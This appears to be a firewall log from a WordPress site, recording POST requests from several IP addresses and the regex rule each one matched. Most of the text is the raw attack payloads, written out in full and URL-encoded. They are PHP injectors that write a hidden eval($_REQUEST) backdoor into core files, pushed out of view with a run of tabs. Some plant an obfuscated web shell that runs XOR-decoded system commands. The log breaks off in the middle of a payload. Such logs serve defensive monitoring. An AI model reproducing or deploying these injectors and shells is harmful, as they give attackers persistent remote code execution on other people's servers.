3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGRfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2057\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nLK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Transport\/Fsockopen.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ADTYav%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:54:25","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Transport\/Fsockopen.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ADTYav%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF1LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2057\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nKV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Transport\/Fsockopen.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ADTYav%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:54:37","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Transport\/Fsockopen.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ADTYav%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:2080\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Transport\/Fsockopen.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ADTYav%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 21:54:44","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status502.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager2%2520%253D%2520%2522%255Cx73h%255Cx65l%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524config_manager7%2520%253D%2520%2522p%255Cx63lose%2522%253B%2520%2524config_manager4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524initialized%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524config_manager5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_c%255Cx6Fn%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524config_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2528%2524symbol%2520%252C%2520%2524descriptor%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524symbol%2529%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524symbol%255B%2524f%255D%2529%255E%2524descriptor%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2524rec%253B%2520%257D%2520%2524flag%2520%253D%2520%2524initialized%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%253B%2520%2524flag%2520%253D%2520sync_manager%2528%2524flag%252C%252075%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524flag%252C%2520%2524key_symbol%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524key_symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524descriptor_rec%2520%253D%2520%2524config_manager5%2528%2524flag%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_rec%2529%2520%257B%2520%2524entity_pgrp%2520%253D%2520%2524config_manager6%2528%2524descriptor_rec%2529%253B%2520%2524config_manager7%2528%2524descriptor_rec%2529%253B%2520print%2520%2524entity_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpzLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5310\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nrf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status502.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager2%2520%253D%2520%2522%255Cx73h%255Cx65l%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524config_manager7%2520%253D%2520%2522p%255Cx63lose%2522%253B%2520%2524config_manager4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524initialized%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524config_manager5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_c%255Cx6Fn%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524config_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2528%2524symbol%2520%252C%2520%2524descriptor%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524symbol%2529%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524symbol%255B%2524f%255D%2529%255E%2524descriptor%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2524rec%253B%2520%257D%2520%2524flag%2520%253D%2520%2524initialized%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%253B%2520%2524flag%2520%253D%2520sync_manager%2528%2524flag%252C%252075%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524flag%252C%2520%2524key_symbol%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524key_symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524descriptor_rec%2520%253D%2520%2524config_manager5%2528%2524flag%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_rec%2529%2520%257B%2520%2524entity_pgrp%2520%253D%2520%2524config_manager6%2528%2524descriptor_rec%2529%253B%2520%2524config_manager7%2528%2524descriptor_rec%2529%253B%2520print%2520%2524entity_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:54:49","141.98.11.117","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> UC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status502.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager2%2520%253D%2520%2522%255Cx73h%255Cx65l%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524config_manager7%2520%253D%2520%2522p%255Cx63lose%2522%253B%2520%2524config_manager4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524initialized%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524config_manager5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_c%255Cx6Fn%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524config_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2528%2524symbol%2520%252C%2520%2524descriptor%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524symbol%2529%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524symbol%255B%2524f%255D%2529%255E%2524descriptor%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2524rec%253B%2520%257D%2520%2524flag%2520%253D%2520%2524initialized%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%253B%2520%2524flag%2520%253D%2520sync_manager%2528%2524flag%252C%252075%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524flag%252C%2520%2524key_symbol%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524key_symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524descriptor_rec%2520%253D%2520%2524config_manager5%2528%2524flag%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_rec%2529%2520%257B%2520%2524entity_pgrp%2520%253D%2520%2524config_manager6%2528%2524descriptor_rec%2529%253B%2520%2524config_manager7%2528%2524descriptor_rec%2529%253B%2520print%2520%2524entity_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%2